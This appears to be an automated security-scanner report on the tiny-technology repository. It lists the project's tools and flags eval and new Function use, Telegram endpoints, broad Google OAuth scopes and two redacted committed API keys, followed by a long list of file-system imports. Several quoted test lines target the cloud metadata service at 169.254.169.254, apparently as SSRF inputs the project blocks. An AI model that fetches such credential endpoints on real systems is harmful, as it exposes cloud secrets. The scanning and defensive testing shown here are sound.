Create an AI by chatting - it gets a URL, a memory you can see, a body across your devices, a voice, and a wallet.
Drift inferred · capture-to-capture
- HIGH code analysis flagged committed secret ×2, dynamic code execution ×7 in cagataycali/tiny-technology
- HIGH code analysis flagged committed secret ×2, dynamic code execution ×6 in cagataycali/tiny-technology
- HIGH code analysis flagged committed secret ×2, dynamic code execution ×5 in cagataycali/tiny-technology
transport stdio · http counts 31 tools · 0 res
· 0 prompts
permission surface via code analysis
tools
-
tiny_archives
-
tiny_chat
-
tiny_create
-
tiny_create_tool
-
tiny_delete
-
tiny_delete_message
-
tiny_devices
-
tiny_events
-
tiny_follow
-
tiny_get
-
tiny_graph
-
tiny_learn
-
tiny_login
-
tiny_marketplace
-
tiny_memories
-
tiny_messages
-
tiny_model_config
-
tiny_pay_confirm
-
tiny_pay_quote
-
tiny_recall
-
tiny_reload_tools
-
tiny_remove_tool
-
tiny_resolve_conflict
-
tiny_schedule
-
tiny_search
-
tiny_send_message
-
tiny_share
-
tiny_unlearn
-
tiny_update
-
tiny_wallet
-
tiny_whoami
prompt-surface
shipped agent-instruction files + hidden-content / dangerous-code findings —
quoted from the analyzed source
analyzed commit 6c93dc1 · analyzer v33 · 5d ago
skills & prompt files 1
danger signals32
- dynamic code execution eval() cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/browse.ts :826
- scroll (amount) / back / forward / eval (expression — runs in the page, awaits promises) - dynamic code execution eval() cagataycali-tiny-technology-6c93dc1/web/components/chat/bang.ts :51
try { out = eval("(" + expr + ")"); } catch { out = eval(expr); } - dynamic code execution new Function() cagataycali-tiny-technology-6c93dc1/web/lib/chat/ui-code.ts :50
new Function( - dynamic code execution new Function() cagataycali-tiny-technology-6c93dc1/web/lib/theme.ts :215
new Function(js.slice(0, CUSTOM_JS_MAX))() - dynamic code execution new Function() cagataycali-tiny-technology-6c93dc1/web/lib/user-tools.ts :50
new Function(`"use strict"; return (${code});`) - dynamic code execution eval() cagataycali-tiny-technology-6c93dc1/web/tests/ios-job-cadence.test.ts :113
const workerValue = eval(m![1]) as number - dynamic code execution eval() cagataycali-tiny-technology-6c93dc1/web/tests/readme-claims.test.ts :43
const days = eval(expr) / 86_400 - suspicious endpoint api.telegram.org cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/device-tools.ts :197
const res = await fetch(`https://api.telegram.org/bot${token}/${method}`, { - suspicious endpoint api.telegram.org cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/integrations-tool.ts :129
const who: any = await fetch(`https://api.telegram.org/bot${a.token}/getMe`) - suspicious endpoint api.telegram.org cagataycali-tiny-technology-6c93dc1/tiny-tech/src/integrations.ts :274
const who: any = await fetch(`https://api.telegram.org/bot${token}/getMe`) - suspicious endpoint t.me cagataycali-tiny-technology-6c93dc1/web/components/chat/TelegramSettings.tsx :210
<li>Open <a href="https://t.me/BotFather" target="_blank" rel="noreferrer" className="underline" style={{ color: "var(--tiny-accent)" }}>@BotFather</a> on Telegram → <code>/newbot</code></li> - suspicious endpoint 169.254.169.254 (cloud metadata) cagataycali-tiny-technology-6c93dc1/web/tests/chat-helpers.test.ts :181
'https://169.254.169.254/latest/', // cloud metadata IP - suspicious endpoint 8.8.8.8 cagataycali-tiny-technology-6c93dc1/web/tests/device-lan-handler.test.ts :95
deviceId: 'd1', token: 'tind_x', lanUrl: 'http://8.8.8.8:8080', - suspicious endpoint 169.254.169.254 (cloud metadata) cagataycali-tiny-technology-6c93dc1/web/tests/device-media.test.ts :37
'https://169.254.169.254/media/a.png', // metadata service - suspicious endpoint 8.8.8.8 cagataycali-tiny-technology-6c93dc1/web/tests/devices-route.test.ts :191
await heartbeat(req('POST', { deviceId: 'd1', token: 'tind_ok', lanUrl: 'http://8.8.8.8:8080' })) - suspicious endpoint 1.2.3.4 cagataycali-tiny-technology-6c93dc1/web/tests/devices-sql.test.ts :225
for (const bad of ['http://1.2.3.4:8080', 'http://8.8.8.8', 'http://172.32.0.1:8080', - suspicious endpoint 192.169.1.1 cagataycali-tiny-technology-6c93dc1/web/tests/devices-sql.test.ts :226
'http://192.169.1.1:8080', 'http://11.0.0.1']) { - suspicious endpoint 169.254.169.254 (cloud metadata) cagataycali-tiny-technology-6c93dc1/web/tests/http-tool.test.ts :27
'https://169.254.169.254/latest/meta-data/', - suspicious endpoint 169.254.169.254 (cloud metadata) cagataycali-tiny-technology-6c93dc1/web/tests/platform-tools.test.ts :238
const tools = buildDynamicTools([{ name: 'probe', worker: 'http://169.254.169.254/latest' }]) - suspicious endpoint 169.254.169.254 (cloud metadata) cagataycali-tiny-technology-6c93dc1/web/tests/user-tools.test.ts :125
await expect(runUserTool('(args) => fetch("https://169.254.169.254/latest/meta-data/")', {})) - suspicious endpoint 169.254.169.254 (cloud metadata) cagataycali-tiny-technology-6c93dc1/web/tests/utils.test.ts :17
['https://169.254.169.254/latest/meta-data/', 'public hostname'], - suspicious endpoint api.telegram.org cagataycali-tiny-technology-6c93dc1/web/tests/x402-reconcile-alarm.test.ts :162
calls.filter(c => !c.url.startsWith('https://api.telegram.org/')) - suspicious endpoint api.telegram.org cagataycali-tiny-technology-6c93dc1/worker/src/messages.ts :121
fetch(`https://api.telegram.org/bot${token}/${method}`, { - suspicious endpoint api.telegram.org cagataycali-tiny-technology-6c93dc1/worker/src/telegram-api.ts :108
const res = await fetch(`https://api.telegram.org/bot${bot.token}/${m}`, { - suspicious endpoint api.telegram.org cagataycali-tiny-technology-6c93dc1/worker/src/telegram.ts :37
fetch(`https://api.telegram.org/bot${token}/${method}`, { - over-broad OAuth scope https://mail.google.com/ cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/google.ts :228
'https://mail.google.com/', - over-broad OAuth scope https://www.googleapis.com/auth/drive cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/google.ts :230
'https://www.googleapis.com/auth/drive', - over-broad OAuth scope https://www.googleapis.com/auth/spreadsheets cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/google.ts :231
'https://www.googleapis.com/auth/spreadsheets', - over-broad OAuth scope https://www.googleapis.com/auth/documents cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/google.ts :232
'https://www.googleapis.com/auth/documents', - over-broad OAuth scope https://www.googleapis.com/auth/drive cagataycali-tiny-technology-6c93dc1/tiny-tech/test/integrations.test.mjs :192
['https://www.googleapis.com/auth/drive'], - committed secret Google API key cagataycali-tiny-technology-6c93dc1/android/app/src/main/AndroidManifest.xml :72
AIzaSy…(39 chars, redacted) - committed secret Google API key cagataycali-tiny-technology-6c93dc1/web/components/MapBackground.tsx :56
AIzaSy…(39 chars, redacted)
evidence-backed
findings quoted directly from the published source artifact — not inferred
code files: 1039
filesystem 212
- fs cagataycali-tiny-technology-6c93dc1/chain/facilitator/server.mjs :21
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/attendance-e2e.mjs :33
import { readFileSync, existsSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/contract-mode-e2e.mjs :27
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/deploy-attendance.mjs :26
import { readFileSync, writeFileSync, existsSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/deploy-issuance.mjs :21
import { readFileSync, writeFileSync, existsSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/deploy-serve-rewards.mjs :17
import { readFileSync, writeFileSync, existsSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/deploy-slashing.mjs :20
import { readFileSync, writeFileSync, existsSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/deploy-validators-slashable.mjs :26
import { readFileSync, writeFileSync, existsSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/deploy-validators.mjs :27
import { readFileSync, writeFileSync, existsSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/devnet-e2e.mjs :22
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/issuance-e2e.mjs :25
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/joiner-e2e.mjs :34
import { readFileSync, existsSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/lib/read-migration-state.mjs :20
import { readFileSync, existsSync, readdirSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/plan-registry-swap.mjs :38
import { readFileSync, existsSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/restore-liveness-margin.mjs :40
import { readFileSync, existsSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/serve-rewards-e2e.mjs :31
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/slashable-registry-e2e.mjs :54
import { readFileSync, existsSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/slashing-e2e.mjs :28
import { readFileSync, existsSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/swap-preflight.mjs :45
import { readFileSync, existsSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/x402-8470-e2e.mjs :42
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/backup-e2e.mjs :12
import { mkdirSync, rmSync, writeFileSync, readdirSync, readFileSync, copyFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/backup.mjs :21
import { mkdirSync, writeFileSync, readdirSync, readFileSync, statSync, unlinkSync, renameSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/deploy.mjs :5
import { readFileSync, writeFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/smoke.mjs :11
import { readFileSync } from 'node:fs' - fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/browse.ts :44
import { existsSync, mkdirSync } from 'node:fs' - fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/computer.ts :25
import * as fs from 'node:fs' - fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/desktop.ts :43
import * as fs from 'node:fs' - fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/flipper.ts :19
import * as fs from 'node:fs' - fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/google.ts :25
import * as fs from 'node:fs' - fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/history.ts :11
import * as fs from 'node:fs' - fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/integrations-tool.ts :22
import { existsSync } from 'node:fs' - fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/local-tools.ts :75
import { readdirSync, statSync, mkdirSync, existsSync } from 'node:fs' - fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/see.ts :33
import * as fs from 'node:fs' - fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/speech.ts :55
import * as fs from 'node:fs' - fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/spotify.ts :22
import * as fs from 'node:fs' - fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/tasks.ts :57
import { readdirSync, readFileSync, writeFileSync, renameSync, unlinkSync, mkdirSync, existsSync } from 'node:fs' - fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/vision.ts :40
import * as fs from 'node:fs' - fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/windows.ts :40
import * as fs from 'node:fs' - fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/auth.ts :17
import { mkdirSync, readFileSync, writeFileSync, unlinkSync, existsSync, chmodSync } from 'node:fs' - fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/cli.ts :14
import { existsSync, statSync } from 'node:fs' - fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/daemon.ts :17
import { mkdirSync, writeFileSync, readFileSync, existsSync, unlinkSync, chmodSync } from 'node:fs' - fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/device.ts :12
import { mkdirSync, readFileSync, writeFileSync, unlinkSync, existsSync, chmodSync } from 'node:fs' - fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/files.ts :13
import { readFileSync, statSync } from 'node:fs' - fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/integrations.ts :21
import { mkdirSync, readFileSync, writeFileSync, existsSync, chmodSync, unlinkSync } from 'node:fs' - fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :9
import { readFileSync } from 'node:fs' - fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/tray.ts :23
import { existsSync, unlinkSync, statSync, chmodSync, mkdirSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/auth.test.mjs :7
import { mkdtempSync, writeFileSync, statSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/browse.test.mjs :25
import { mkdtempSync, rmSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/desktop.test.mjs :12
import { mkdtempSync, rmSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/device.test.mjs :6
import { mkdtempSync, rmSync, readFileSync, statSync, existsSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/event-kinds.test.mjs :32
import { readFileSync, readdirSync, existsSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/files.test.mjs :7
import { writeFileSync, mkdtempSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/hardware.test.mjs :12
import { mkdtempSync, writeFileSync, rmSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/integrations-store.test.mjs :13
import { mkdtempSync, rmSync, existsSync, writeFileSync, statSync, readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/live.e2e.mjs :14
import { writeFileSync, mkdtempSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/local-tools.test.mjs :25
import { mkdtempSync, rmSync, writeFileSync, mkdirSync, utimesSync, unlinkSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/relay-poller.test.mjs :13
import { mkdtempSync, rmSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/server.test.mjs :10
import { mkdtempSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/speech.test.mjs :21
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/tasks.test.mjs :22
import { mkdtempSync, rmSync, mkdirSync, writeFileSync, readdirSync, readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/tray.test.mjs :25
import { mkdtempSync, rmSync, statSync, writeFileSync, existsSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/vision.test.mjs :28
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/scripts/design-shot.mjs :24
import { globSync } from "node:fs"; - fs (weak) cagataycali-tiny-technology-6c93dc1/web/scripts/gen-logo.mjs :25
import { writeFileSync, mkdtempSync, rmSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/scripts/gen-multi-device.mjs :38
import { mkdirSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/scripts/gen-onboarding-voice.mjs :20
import { mkdir, writeFile } from 'node:fs/promises' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/scripts/gen-social-carousels.mjs :23
import { mkdirSync, existsSync, readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/scripts/gen-store-composites.mjs :31
import { writeFileSync, mkdirSync, mkdtempSync, rmSync, readFileSync, existsSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/scripts/gen-store-graphics.mjs :31
import { writeFileSync, mkdirSync, mkdtempSync, rmSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/scripts/sync-store-screenshots.mjs :34
import { readFileSync, writeFileSync, existsSync, mkdirSync, readdirSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/_worker.ts :9
import { existsSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/about-theme.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/account-voice-write.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/android-job-cadence.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/android-live-take-words.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/android-ota-integrity.test.ts :42
import { existsSync, readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/android-speech-punctuation.test.ts :3
import { readFileSync, readdirSync, statSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/android-transcripts-readback.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/android-voice-status-age.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/attendance-policy.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/auth-events.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/call-recordings-load.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/chain-backup.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/chain-calldata.test.ts :3
import { readFileSync, existsSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/chain-identity.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/chain-join-doc.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/chain-join.test.ts :3
import { readFileSync, writeFileSync, mkdtempSync, mkdirSync, existsSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/chain-joiner-script.test.ts :4
import { readFileSync, existsSync, mkdtempSync, mkdirSync, writeFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/chain-status.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/chat-lazy-panels.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ci-typecheck-gate.test.ts :38
import { existsSync, readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/clipboard-write.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/community-one-read.test.ts :3
import { readFileSync, readdirSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/composer.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/config-subject.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/danger-token.test.ts :3
import { readFileSync, readdirSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/deadlines.test.ts :3
import { readFileSync, readdirSync, statSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/deposit-integrity.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/dev-keys.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/devices-camera-panel.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/dm-drafts.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/dm-length-parity.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/dm-send.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/e2e-registry-target.test.ts :2
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/endpoint-device.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/faucet-mint-not-a-deposit.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/faucet-no-answer.test.ts :39
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/faucet.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/flipper-ble.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/flipper-tools.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/funding-executor.test.ts :2
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/genesis-transition-plan.test.ts :2
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/globals-hygiene.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/graph-query.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/hero-logo-cls.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/initial-seat-policy.test.ts :2
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-capability-ribbon.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-capability-words.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-device-row-line.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-devices-footer.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-dynamic-type.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-failure-glyph.test.ts :3
import { readFileSync, readdirSync, existsSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-job-cadence.test.ts :22
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-live-audio-playback.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-live-transcribe.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-local-hardware.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-messages-load-reason.test.ts :3
import { readFileSync, existsSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-peek-provenance.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-reading-age.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-recorder-second-pass.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-recorder-stop.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-relay-reach.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-remote-screenshot-consent.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-sf-symbols.test.ts :3
import { readFileSync, readdirSync, existsSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-speech-punctuation.test.ts :3
import { readFileSync, readdirSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-spoken-device-row.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-voice-stale-status.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-wake-take-extends.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/job-cadence.test.ts :17
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/learnings-delete-scope.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/limit-message.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/live-badge-parity.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/live-fleet-lookup.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/load-failure-caption.test.ts :3
import { existsSync, readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/local-keys.test.ts :3
import { readFileSync, readdirSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/locale-dates.test.ts :3
import { readFileSync, readdirSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/memory-forget-verdict.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/memory-graph.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/memory-harness-swipe-parity.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/memory-list.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/memory-wipe.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/money-events.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/nicla-tools.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/nicla-voice-tools.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/no-native-confirm.test.ts :3
import { readFileSync, readdirSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/onboarding-voice.test.ts :15
import { readFileSync, existsSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/open-url.test.ts :122
const { readFileSync } = require('node:fs') as typeof import('node:fs') - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/page-code-trust.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/palette-manifest.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/prompt.test.ts :5
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/published-hostname-scrub.test.ts :3
import { readdirSync, readFileSync, lstatSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/qr-svg.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/quote-expiry.test.ts :16
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/readme-claims.test.ts :2
import { readdirSync, readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/readme-links.test.ts :2
import { existsSync, readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/registry-swap-policy.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/relay-batch-deposit.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/relay-missed.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/relay-notify.test.ts :4
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/relay-poll-verdict.test.ts :3
